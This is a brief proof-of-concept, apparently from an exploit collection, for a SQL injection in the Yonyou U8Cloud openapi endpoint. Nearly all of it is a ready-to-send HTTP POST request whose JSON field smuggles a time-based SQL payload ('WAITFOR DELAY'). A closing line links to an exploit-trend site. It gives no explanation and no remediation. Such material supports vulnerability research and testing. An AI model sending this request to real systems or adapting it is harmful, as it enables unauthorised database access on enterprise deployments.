用友U8Cloud openapi SQL注入漏洞

POST /u8cloud/openapi/ce.paper.query?appcode=lbsj&isEncrypt=N&trantype=paperexecute HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 141
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Accept-Encoding: gzip

{
    "paperexecute": [
        {
            "pk_group": "1'; WAITFOR DELAY '0:0:4'--",
            "pk_paper": "1"
        }
    ]
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.